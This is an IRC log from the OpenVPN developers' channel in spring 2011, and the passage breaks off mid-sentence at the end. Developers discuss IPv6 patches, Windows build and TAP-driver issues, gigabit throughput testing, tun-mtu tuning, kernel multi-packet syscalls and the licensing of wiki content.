ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 15:32 <+krzee> !ipv6 15:32 <+krzee> err type !ipv6 in #openvpn for the link to his site 15:33 < djc> hmm, I used a patch from openvpn-ipv6 on github before 15:49 < djc> and there's no eurephia for 2.2.0, right? 16:08 -!- rajkosto [~rajkosto@2001:470:1f0b:1ce9:ed3f:f975:85f9:fc13] has joined #openvpn-devel 16:14 <@cron2> djc: github is likely to be jjo's transport patch 16:14 <@cron2> the ipv6 payload patch is on http://www.greenie.net/ipv6/openvpn.html, rebased to 2.2.0 16:16 <+krzee> good timing, rajkosto had questions regarding that as well 16:16 <+krzee> lol 16:17 < rajkosto> i used git openvpn-testing with feat_ipv6_payload 16:18 <@cron2> use "master", it has feat_ipv6_payload merged in. But something is broken for windows, dazo and mattock are looking into it 16:19 <@cron2> need to go to bed now - good night, folks 16:21 <+krzee> night cron 16:51 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 16:51 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 16:51 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 16:55 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 240 seconds] 17:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 17:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:11 < rajkosto> master in openvpn-testing ? 17:22 <+krzee> Sat Apr 30 22:20:42 2011 us=601479 OpenVPN 2.2.0 i486-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [eurephia] built on Apr 24 2011 17:22 <+krzee> Sat Apr 30 22:20:42 2011 us=601718 NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables 17:22 <+krzee> heh 17:22 <+krzee> rajkosto, master, as in the tag in git 17:22 <+krzee> !git 17:22 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary, or (#3) See !git-doc how to use git 17:23 <+krzee> (or so i assume) 17:27 < rajkosto> i used the feat_ipv6_payload branch for linux 17:27 < rajkosto> its runnign fine 17:27 < rajkosto> on windows it has problems because it redefines socklen_t, inet_ntop and inet_tnop or whatever functions 17:28 < rajkosto> and it had one place where it had variable declarations in the middle of a block (which is a no no in normal C) 17:29 < rajkosto> now left with these http://codepad.org/uDKRtOZS 17:29 <@vpnHelper> Title: Plain Text code - 36 lines - codepad (at codepad.org) 17:36 <+krzee> "But something is broken for windows, dazo and mattock are looking into it" 17:37 < rajkosto> i know 17:37 <+krzee> if you are a dev and find the fix, do tell mattock and dazo =] 17:37 < rajkosto> i can hack around it. 17:37 < rajkosto> im sure they can fix it 17:58 -!- andj_afk is now known as andj 18:31 -!- andj is now known as andj_afk 19:21 < rajkosto> finally got it to compile and work under winxp 19:35 <+krzee> hey cool! 19:35 <+krzee> would you mind sharing back what you did in case it helped? 20:42 < rajkosto> a bunch of hacks 20:43 < rajkosto> i bet just something like properly defining win32 target would have fixed some 20:46 < rajkosto> git diff http://codepad.org/tqq5hmHz 20:46 <@vpnHelper> Title: Plain Text code - 439 lines - codepad (at codepad.org) 20:46 < rajkosto> that probably breaks non windows builds 21:19 -!- rajkosto [~rajkosto@2001:470:1f0b:1ce9:ed3f:f975:85f9:fc13] has quit [Quit: Leaving] --- Day changed Sun May 01 2011 00:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 00:38 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:25 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:25 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:17 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:25 -!- andj_afk is now known as andj 04:50 <@cron2> mmmmh, I'm fairly sure I didn't do variable definitions inside a block. *looking*. Oh, the IPv6 patch causes *other* variables to be defined "in block". Thanks for pointing this out :-) 05:18 -!- andj is now known as andj_afk 06:12 < djc> cron2: yeah, took the patch from greeenie.net and put it in gentoo 06:26 <@cron2> djc: cool :-) - I'd test this right away but the next two weeks are just too busy 06:27 < djc> it's fine, I think there'll be enough people testing it ;) 10:07 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:08 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 10:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:27 -!- andj_afk is now known as andj 10:54 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:54 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:29 -!- andj is now known as andj_afk 13:32 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 14:01 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:50 -!- andj_afk is now known as andj 14:58 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 14:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:19 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:20 -!- andj is now known as andj_afk 15:34 -!- andj_afk is now known as andj 15:50 <+krzee> [13:40] <queequeg1> I installed an earlier version and now that problem isn't happening. 15:50 <+krzee> [13:43] <krzee> then it found your openssl.cnf this time 15:50 <+krzee> [13:48] <queequeg1> Yeah, but I had uninstalled and reinstalled several time with the newest package and no dice. It is just a default install. I have no clue as to why it would not find it with the new package but does with an older one. 15:51 <+krzee> WARNING: can't open config file: c:\openssl/ssl/openssl.cnf 15:51 <+krzee> <-- windows easy-rsa 16:16 -!- andj is now known as andj_afk 19:36 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 19:36 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 19:36 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:36 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:04 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:04 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon May 02 2011 00:45 -!- andj_afk is now known as andj 01:31 -!- andj is now known as andj_afk 02:05 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:58 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:58 -!- mode/#openvpn-devel [+v krzie] by ChanServ 03:12 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 03:12 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 03:12 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:12 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:14 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 03:19 -!- dazo_afk is now known as dazo 03:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:22 <@dazo> krzee: is the windows easy-rsa issue the same as this one in your eyes? https://community.openvpn.net/openvpn/ticket/125 03:22 <@vpnHelper> Title: #125 (Build CA is broken in Windows on version 2.2 release) – OpenVPN Community (at community.openvpn.net) 03:22 <@dazo> it sure looks so at first glance 03:24 <@dazo> djc: The eurephia patch is already included in openvpn-2.2, so no eurephia patching anymore ... however, it can be disabled at compile time with --disable-eurephia 05:18 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 05:46 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 05:50 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 05:56 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 05:57 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 06:58 < djc> dazo: ah, good to know, thanks 06:59 <@dazo> djc: you're wrapping together openvpn 2.2 for Gentoo? 06:59 < djc> it's in the tree 06:59 < djc> I only mistook cron2's ipv6 patch for a combined transport + payload thing 06:59 < djc> still need to figure out a good way to get both transport and payload 07:00 < djc> (so the current version has payload only, no transport) 07:27 <@dazo> ahh, I see 08:15 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 08:15 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 08:15 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:15 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:15 <+janjust> dazo: https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux 08:15 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net) 08:16 <@dazo> janjust: that is just awesome! 08:16 <@dazo> thanks a lot!! 08:17 <+janjust> I even ran a few minor (but unsatisfying) tests on a 10 Gbps network :) 08:17 <@dazo> yeah ... well, the whole 10Gbps networks are still not so common (at least among OpenVPN users) ... so we do have some time to dig further here 08:18 <@dazo> but here, I think the Linux kernel in general is being pushed to its limits as well 08:18 <+janjust> hehe, actually, encrypting at 10 Gbps will never be mainstream, I guess 08:18 <+janjust> the cpu simply can't cope 08:18 <@dazo> yeah, that's actually also a good point 08:18 <@dazo> at least not this year ;-) 08:18 <+janjust> yep - that's why I added the 'plaintext' sample : to show where the kernel limits are (1.3 Gbps) 08:19 <+janjust> but in the encryption arena, speed=king ; newer CPUs are left in the dust by older ones running at higher clock speeds 08:19 <@dazo> we're having customers pushing for 10Gbps Infiniband on RHEL ... and I think there are still some room for improvements there 08:20 <+janjust> I think we have that over here :) 08:20 * dazo is a tad envious :) 08:21 <+janjust> hmmm, if you like kernel hacking you should be; in most cases we see that Linux has trouble with the latest&greatest hardware 08:22 <@dazo> yeah ... we do have some IB boxes, but access is limited (many who wants to hack on them) ... the issues usually isn't getting the PC hardware ... but getting IB switches, as they're awfully expensive 08:22 <+janjust> yep 08:23 <+janjust> we've had run-ins with vendors who claim their switch (ethernet mostly) could do 10 Gbps .... 08:23 <+janjust> but I must say I was impressed by a simple 'iperf' run giving me '8.8 Gbps' :) 08:24 <@dazo> But for a comparison ... if I write a little program which only shuffles data from tun to a udp socket and vice versa ... no config, as simple as possible ... that could probably indicate if it's the event handler in OpenVPN or if it is the kernel which struggles though 08:24 <@dazo> yeah, that's very good :) 08:24 <+janjust> I tested it using 'simpletun' as well, which mimicks tcp-over-tcp 08:25 <+janjust> performance was on the order of magnitude 08:25 <+janjust> I also tried using 'socat' but that actually gave CRAP performance 08:26 <@dazo> okay, so simpletun sounds like what I was about to do ... which then is comparable to OpenVPN ... which then sounds good, actually 08:26 <+ecrist> janjust: saying things like 'NEVER' often comes back to bite one... 08:27 <+janjust> ecrist: are you referring to my comment here or to the wiki article ;) 08:27 <+ecrist> 08:18:16 <+janjust> hehe, actually, encrypting at 10 Gbps will never be mainstream 08:28 <+ecrist> I'm sure in the 80's, someone said, broadband connections will never be more than 100K or something similarly silly 08:28 <@dazo> janjust: btw .. your illustration of openvpn, tun/kernel and iperf relations ... superb! 08:29 <+janjust> hehe ecrist , you're right 08:29 <+janjust> dazo: I'll add a copyright notice :P 08:29 <@dazo> heh :) 08:30 <+janjust> now I'm waiting for the first yoyo to ask if I can re-run the tests on windows ;) 08:31 <@dazo> janjust: I'd say, adding a CC-BY-SA might be clever ;-) (restricting, but still free) 08:31 <@dazo> lol 08:31 <+janjust> cc-by-sa? 08:31 <@dazo> http://creativecommons.org/licenses/by-sa/2.0/ 08:31 <@vpnHelper> Title: Creative Commons Attribution-ShareAlike 2.0 Generic CC BY-SA 2.0 (at creativecommons.org) 08:32 <+janjust> shouldn't that be applied to all wiki content then? 08:32 <@dazo> mattock: ^^ janjust got a good point :) 08:32 <@dazo> janjust: let's send that decision to the official OpenVPN community representative ;-) 08:33 <+janjust> hehe , let's delegate 08:36 <+janjust> this little research also showed me that I'll always set up a server using openssl 1.0.0 and I'll always try to use aes-256-cbc (or aes-128-cbc) ; it's simply faster then the default blowfish 08:37 <@dazo> yeah, blowfish is probably more suitable on low-end CPUs 08:42 <+ecrist> I think our entire wiki should mandate that license 08:42 <+ecrist> i.e.: if you post here, the stuff you post becomes CC-BY-SA licensed 08:45 <@dazo> agreed, that makes sense to me too 08:48 <+janjust> +1 08:54 < psha> dazo: is not it since there are AES-helper instructions in recent CPU's? 08:55 <+janjust> psha: read the wiki entry posted earlier; even for non-AES capable cpus aes-256-cbc is faster, if you use the "right" version of openssl 08:56 <@dazo> psha: AES-NI indeed helps a lot, but even having higher CPU power in general also helps ... but AES-NI or most likely any other hardware accelerator will have a noticeable impact as well 09:03 < psha> i see 10:09 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:26 -!- andj_afk is now known as andj 10:35 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 10:37 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:05 <+krzie> mattock, quite a few of the missing FAQ anchors may be findable by: grep -R 'faq.html#' * from the root web dir 11:05 <+krzie> i know at http://openvpn.net/index.php/open-source/documentation/security-overview.html it links to http://openvpn.net/index.php/open-source/faq.html#security-issues 11:05 <@vpnHelper> Title: Security Overview (at openvpn.net) 11:05 <+krzie> but i have no clue what http://openvpn.net/index.php/open-source/faq.html#security-issues is supposed to be 11:05 <@vpnHelper> Title: FAQ Community (at openvpn.net) 11:06 <+krzie> you guys have a backup of the old FAQ anyways... right? 11:08 <@dazo> The IPv6 question in the server section must be updated now ... 11:11 <+krzie> oooo good catch 11:11 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:12 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:12 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:15 <@dazo> I think we can be brave enough to say that we will support complete IPv6 stack from OpenVPN 2.3 :) 11:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:16 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:16 <+krzie> =] 11:17 <@dazo> jamesyonan: Good morning :) Just wanted to point out some testing Jan Just Keijser have done lately, regarding network performance in OpenVPN ... https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux 11:17 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net) 11:18 * dazo thought that could be a nice read in the morning 11:19 <+krzie> oh that is great! 11:21 <@jamesyonan> dazo: that's awesome work 11:21 <@dazo> it really is :) 11:23 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Quit: rebooting] 11:24 <@dazo> When we get the SSL layer modularisation and the PolarSSL implementation patches (in the works by some on the mailing list) ... I'm curious how that will change the performance numbers 11:24 <@jamesyonan> dazo: any idea if these results reflect aggregate performance across multiple cores or just running single openvpn process on single core? 11:25 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 11:25 <+krzie> well he used iperf 11:25 <+krzie> so single link 11:25 <+krzie> so single core 11:25 <@dazo> iperf might use more threads ... but openvpn will not use anything else ... 11:26 <@dazo> if the NIC IRQ is on the same core as openvpn (which might be beneficial), I don't know ... the kernel might have rescheduled that if it understood the pattern 11:26 <+krzie> iperf will connect to a single socket, so single openvpn instance 11:26 <@dazo> that's correct 11:27 <@dazo> well ... iperf may establish more simultaneous connections 11:28 <+krzie> that is going to really be a great doc 11:30 <@dazo> I find it interesting to see the "hard limit" currently seems to be 1.3Gbps on the tun interface (that's checked against 'simpletun') ... which is not surprising, as I know that kernel developers are working hard on getting higher network throughput 11:31 <@jamesyonan> I'm wondering how practical it is to increase tun_mtu to 6000 bytes on production setups 11:31 <@jamesyonan> in particular, can windows tun/tap handle that? 11:32 <@dazo> jamesyonan: I don't know ... but will setup another openvpn config in my production environment based on the latest master branch, with full IPv6 support ... I was considering to try tun-mtu 9000, fragment 0 and mssfix 0 in that config 11:33 * dazo will do that in a couple of weeks 11:33 <+krzie> i wish i had links worthy of playing with that stuff 11:34 <+krzie> although i do have access to satellite and terrible dsl, i cant even find any problems with my MTU while using both 11:35 <@jamesyonan> a larger tun-mtu will amortize user/kernel switching penalty over a larger number of packets, so it makes sense that we see a big perf increase there, but it would be cool if there was a way to do this without having to increase tun-mtu so much 11:36 <@jamesyonan> for example, if there was a way to pipeline multiple packets per user/kernel switch using normal tun-mtu settings 11:36 <@dazo> you mean like more "clients" reading/writing to the tun socket simultaneously? 11:37 <@jamesyonan> no 11:38 <@jamesyonan> by pipelining, I mean that the userspace code assembles multiple packets and writes them to tun/tap in one transaction 11:38 <@dazo> ahh! 11:39 <@dazo> that's a good question ... 11:40 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 11:42 <@dazo> from the kernel docs, it looks like it needs to be one frame per read/write operation :/ 11:43 <@jamesyonan> I wonder how difficult it would be to change that 11:43 <@dazo> but I have heard about some work on mulitple read/write operations, like that, but I forgot in which kernel subsystem that was discussed 11:44 <@jamesyonan> it seems like this sort of optimization would be generally userful for any kind of high-bandwidth network app 11:44 <@dazo> agreed 11:46 <@jamesyonan> in fact, I'm thinking, tun/tap read/writes are basically opaque to the kernel, so if tun/tap supported pipelining, it seems like it would work without explicit kernel cooperation 11:48 <@dazo> To be honest ... I think that the real bottleneck is more on the generic parts of the TCP/IP stack in the Linux kernel ... I know they work hard on improving performance on 10Gbps (both Ethernet and Infiniband), as they're hitting limits here now 11:48 <@dazo> And there's a proposal for a CHOKe implementation ... http://lwn.net/Articles/422477/ 11:48 <@vpnHelper> Title: The CHOKe packet scheduler [LWN.net] (at lwn.net) 11:49 <@dazo> in addition to the "Receive Flow Steering" 11:49 <@dazo> http://lwn.net/Articles/382428/ 11:49 <@vpnHelper> Title: Receive flow steering [LWN.net] (at lwn.net) 11:50 <@dazo> because read/write from/to a tun device shouldn't require much processing in general 11:58 <@jamesyonan> re: RFS, it seems like it might not make a difference for multi-process apps like openvpn, where each process has it's own network socket. My reading of article is that RFS makes biggest difference for multi-threaded TCP apps. 11:59 <@dazo> RFS is aiming primarily at multi-threaded apps, yes 12:00 <@jamesyonan> I'm wondering if the linux kernel still has problems with multithreaded use of a single UDP socket 12:02 <@dazo> that might be worth an e-mail to LKML 12:02 <@jamesyonan> this article http://www.facebook.com/note.php?note_id=39391378919 made me think that scaling openvpn via multiple processes rather than multiple threads is the right way to go 12:02 <@vpnHelper> Title: Scaling memcached at Facebook | Facebook (at www.facebook.com) 12:06 <@dazo> jamesyonan: I'm chatting with acme (kernel developer and network guru) now, I'll ask about that as well 12:08 <@dazo> jamesyonan: (from acme) generally, sendmmsg() have been prototyped, which allows writing multiple packets in one transaction to the kernel 12:09 <@dazo> readmmsg() would be the other way, but he didn't say if that's prototyped yet 12:12 -!- Netsplit *.net <-> *.split quits: @cron2 12:12 -!- Netsplit over, joins: @cron2 12:16 <@dazo> recvmmsg() I mean 12:19 <@jamesyonan> cool 12:20 <@dazo> okay, recvmmsg() is implemented and should be available .... sendmmsg() is just prototyped and is waiting to get public ... but as acme said, "there's no big outcry for that feature yet ... like >1Gbps tun traffic" :) 12:21 <@jamesyonan> is there a multi-packet analog for read()/write() as well? 12:21 <@dazo> nope :/ ... that's the only 'multi-packet' calls right now ... hence the extra 'm' 12:26 <@dazo> recvmmsg info: http://lwn.net/Articles/334854/ ... Arnaldo == acme 12:26 <@vpnHelper> Title: In brief [LWN.net] (at lwn.net) 12:27 <@dazo> (this got available in Linux 2.6.33) 12:30 <@jamesyonan> interesting... to really be useful to us, the kernel would need to support multi-packet versions of sendmsg, recvmsg, read, and write 12:30 < Essobi> Multiple subnets on a single server would be useful, especially with gigabit speeds. :) 12:32 <@dazo> jamesyonan: yeah, sendmmsg() is in the works .... so if we raise our voice on LKML, that might get some balls rolling 12:36 <@jamesyonan> will sendmmsg be able to fully replace both recv and recvfrom? 12:37 <@jamesyonan> and I assume it supports scatter/gather? 12:39 <@dazo> that's a bit tricky, as they discussed if the could reuse recvmsg(), just setting a flag ... but they saw that an older kernel would ignore that (to it) unknown flag and just work as the traditional recvmsg() ... so it was needed to implement a separate syscall for the 'multiple packets' variant 12:39 <@dazo> so user-space need to figure out what the kernel supports, and communicate accordingly 12:40 <@dazo> this is the kernel commit adding recvmmsg(): http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=a2e2725541fad72416326798c2d7fa4dafb7d337 12:40 <@vpnHelper> Title: git.kernel.org - linux/kernel/git/torvalds/linux-2.6.git/commitdiff (at git.kernel.org) 12:40 <@jamesyonan> yeah, I think adding a new call is fine for that 12:43 <@jamesyonan> in tun.c you will notice that we sometimes use readv/writev to the socket for scatter/gather 12:44 <@jamesyonan> to be useful to use, the sendmmsg/recvmmsg implementation would also need to support scatter/gather 12:44 <@dazo> ahh, okay ... I'll ask acme again about that 12:46 <@mattock> janjust: excellent work! 12:47 * dazo looks if janjust is here still .... 12:49 <@mattock> dazo: re: creative commons: yes, I've thought about that. I just need to do some research to see how that could be done 12:49 <@mattock> wikipedia, wikia and many others do it 12:49 <@dazo> just add a footer on the wiki pages? 12:50 <@jamesyonan> because the tun/tap has essentially a dual connection to userspace (socket on one side, and read/write char interface on the other), the ideal multi-packet API solution would address both of these 12:50 <@mattock> krzie: I asked Frank about those anchors, but got no response. I probably have to poke him with a (virtual) stick a couple of times more 12:51 <+krzee> =] 12:52 <@dazo> krzee: I've heard throwing frozen trout is mostly used nowadays 12:53 <+krzee> tell him they are linked to in: the web site, errors in the program, forums, and basically all over the web 12:54 <+krzee> i consider it a bug in the documentation 12:54 * krzee tosses some trout in the freezer 12:54 <@mattock> krzee: I did 12:55 <@mattock> I don't have shell access to the webserver, unfortunately 12:57 <@jamesyonan> mattock: what's the issue with webserver? 12:57 <+krzee> anchors on the FAQ 12:58 <+krzee> (are gone) 12:58 <@mattock> the net is full of links to the old faq which had the anchors 12:58 <@jamesyonan> aha 12:58 <@mattock> I asked Frank about that, but so far no response 12:58 <+krzee> not just the net, even the program itself has them in errors (at least 1) 12:58 <@mattock> a few weeks ago 12:58 <@dazo> jamesyonan: acme's answer regargin the scatter/gather support: <acme> recvmmsg is a socket (not vfs) solution at this time :-\ 12:58 <@dazo> <acme> but it operates on a fd 12:58 <@dazo> <acme> i.e. a m-pkt solution 12:58 <@dazo> <acme> can be feasible 13:21 -!- dazo is now known as dazo_afk 15:07 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:57 -!- andj is now known as andj_afk 23:35 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 23:35 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 23:35 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:35 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Tue May 03 2011 00:09 -!- Essobi [~Essobi@74.128.53.127] has quit [Quit: Lost terminal] 00:10 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 00:36 -!- andj_afk is now known as andj 00:58 -!- andj is now known as andj_afk 01:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:55 -!- dazo_afk is now known as dazo 04:07 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has joined #openvpn-devel 04:07 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has quit [Changing host] 04:07 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:07 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:08 <@dazo> janjust: I pointed james to your gigabit network test report yesterday ... his response was: 04:08 <@dazo> <jamesyonan> [02-05 18:21:31] dazo: that's awesome work 04:09 <@dazo> :) 04:09 <+janjust> thx 04:09 <@dazo> I also chatted a bit with acme (kernel dev and network guru) ... and discussed a little bit about the 1.3Gbps "limit" 04:10 <@dazo> there are a few things to look into there ... and he wondered if we had done a perf test in such a setup ... to see if we could find the bottleneck in the kernel or user-space 04:10 <+janjust> ah cool - did he/she/they come up with anything? 04:11 <+janjust> hmmm a perf test on such a box - I might be able to do that, but I'm not in charge of them 04:11 <@dazo> ((Arnaldo Carvalho de Melo) 04:11 <@dazo> ahh, I see ... yeah, that requires a rather newer kernel as well 04:12 <@dazo> <acme> so please try to: 04:12 <@dazo> <acme> 1) use what is available: recv side 04:12 <@dazo> <acme> 2) perf it 04:12 <@dazo> <acme> conditions change 04:12 <@dazo> <acme> in the past syscall overhead wasn't important 04:12 <@dazo> <acme> nowadays? sometimes 04:12 <+janjust> I'm not too worried about the 1.3 Gbps limit anyways ; if there are any kernel tweaks I could do just let me know 04:12 <+janjust> upgrading to 2.6.35+ will be trickier 04:13 <@dazo> I think 2.6.3x would do :-P ;-) 04:13 <@dazo> I understand 04:13 <@dazo> is it CentOS boxes? 04:13 <@dazo> or RHEL? 04:14 <+janjust> it's centos 5 04:15 <+janjust> and actually they're blade systems so I can't even boot them from CD 04:15 <+janjust> don't know about USB 04:15 <@dazo> ftp://ftp.redhat.com/redhat/linux/enterprise/5Server/en/RHEMRG/SRPMS/kernel-rt-2.6.33.7-rt29.55.el5rt.src.rpm ... this is a Realtime kernel which is sold by Red Hat as an add-on product to RHEL5 04:15 * dazo is doing qa on this kernel 04:15 <@dazo> I can't provide a binary, but it's open source ;-) 04:16 <+janjust> hehe ; that kernel builds and installs on rhel5 04:16 <+janjust> ? 04:16 <@dazo> yeah 04:16 <@dazo> It's a part of the Red Hat Enterprise MRG product (Messaging Realtime and Grid) 04:17 <@dazo> and we do ship perf as part of the 2.6.33.7 kernel as well 04:17 <+janjust> ah cool - downloading it now ; is that a regular perf or do I need the RHEMRG edition ? 04:17 <@dazo> the perf packages is included in the build of the kernel 04:17 <+janjust> or am I missing something? perf is a userspace prog right? 04:18 <+janjust> ah OK 04:18 <@dazo> perf is a user space program, but tightly connected to the kernel 04:18 <+janjust> btw: what does : "<acme> 1) use what is available: recv side" mean 04:19 <@dazo> I understand it as "run this on the receiver side", which would be the client side for me ... he writes a little bit cryptic these days due to this: https://twitter.com/#!/acmel/status/63683022939099137 04:19 <@vpnHelper> Title: Twitter (at twitter.com) 04:21 <+janjust> (that's a blank page for me - I don't do twitter) 04:22 <@dazo> hmm ... he has a broken hand ... and if he is lucky, he might be able to control a PS3 controller, but that's stretching it :-P 04:23 <+janjust> oops 04:23 <@dazo> (http://twitpic.com/4qmqr4) 04:23 <@vpnHelper> Title: Twitpic - Share photos and videos on Twitter (at twitpic.com) 04:23 <+janjust> the kernel download is still going - at 70 KB/s 04:23 <@dazo> ouch 04:24 <+janjust> hehe that's redhat's network in this case ;) 04:24 <@dazo> I presume so, yeah ... well, or the data centre this service is outsourced to :) 05:07 <+janjust> who's the tap-win32 guru around here ? 05:10 <+janjust> interesting forum question : https://forums.openvpn.net/topic8044.html 05:10 <@vpnHelper> Title: OpenVPN Support Forum Client slow when cpu busy (i.e youtube) : Server Administration (at forums.openvpn.net) 05:11 <+janjust> just tested this myself: when streaming video on Linux, performance does not drop 05:11 <+janjust> on windows it does drop (from 14 Mbps down to 5 Mbps on my i5 laptop) 05:12 <+janjust> and 14 Mbps is about the maximum I get on my home DSL connection 05:46 <@dazo> I fear that's james which is the real guru, even though I know cron2 has poked at that code as well 05:49 <+janjust> I was afraid of that as well ; but I get the impression we (as openvpn community) need to tackle the tap-win32 adapter issues, esp on Win7, or we lose "momentum" 05:51 <@dazo> agreed 05:53 <@dazo> the challenge is that there is not many windows "oriented" developers here ... however, a good tun/tap driver for windows must be a main concern for the company anyway 05:53 <+janjust> yep; or we'd have to start looking for an alternative to the tap-win32 adapter 05:54 <+janjust> I've seen a free virtual serial port driver for vista/7 ; in theory that could be used as well 05:54 <@dazo> hmm ... but that adds a ppp layer on top, won't it? 05:55 <+janjust> yep 05:55 <+janjust> but it'd be only ppp until you reach the openvpn process 05:55 <+janjust> so the ppp overhead never leaves the client 05:56 <+janjust> at any rate, it's something that needs more serious attention (and I'm not enough of a windows developer myself either) 06:33 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 06:34 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 06:34 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:54 <@dazo> d12fk: how's your workload? would you at some point have time to poke a bit more on the windows tun/tap driver? we have some serious performance challenges there ... https://forums.openvpn.net/topic8044.html 06:54 <@vpnHelper> Title: OpenVPN Support Forum Client slow when cpu busy (i.e youtube) : Server Administration (at forums.openvpn.net) 06:54 <@dazo> d12fk: you are probably the closest we get to at this channel who have serious windows development experience, that's why I'm asking :) 06:56 <@d12fk> dazo: well actually I don't 06:57 <@dazo> d12fk: you don't either? I thought you did the openvpn-gui ;-) (that's still much more experience than many others here ;-)) 06:57 <@d12fk> dazo: hehe 06:58 <@d12fk> but besides lacking the skills, there's not much time left for poking around in windows kernel space, sorry 06:59 <@dazo> no worries ... it was still better to ask than not to ask :) 07:18 <@d12fk> dazo: sure, keep the spirit! =) 08:16 <@mattock> we got to get james to look into that 08:16 <@dazo> yeah, that's the only thing left now ... it should anyway be in his interest 08:17 <@mattock> true 10:20 <@mattock> dazo: what about making the TAP-driver a separate project? 10:20 <@mattock> is it separated well enough from the rest of openvpn? 10:20 <@dazo> yeah, that's on my plan :) 10:21 <@dazo> but it's said it depends on some common code in 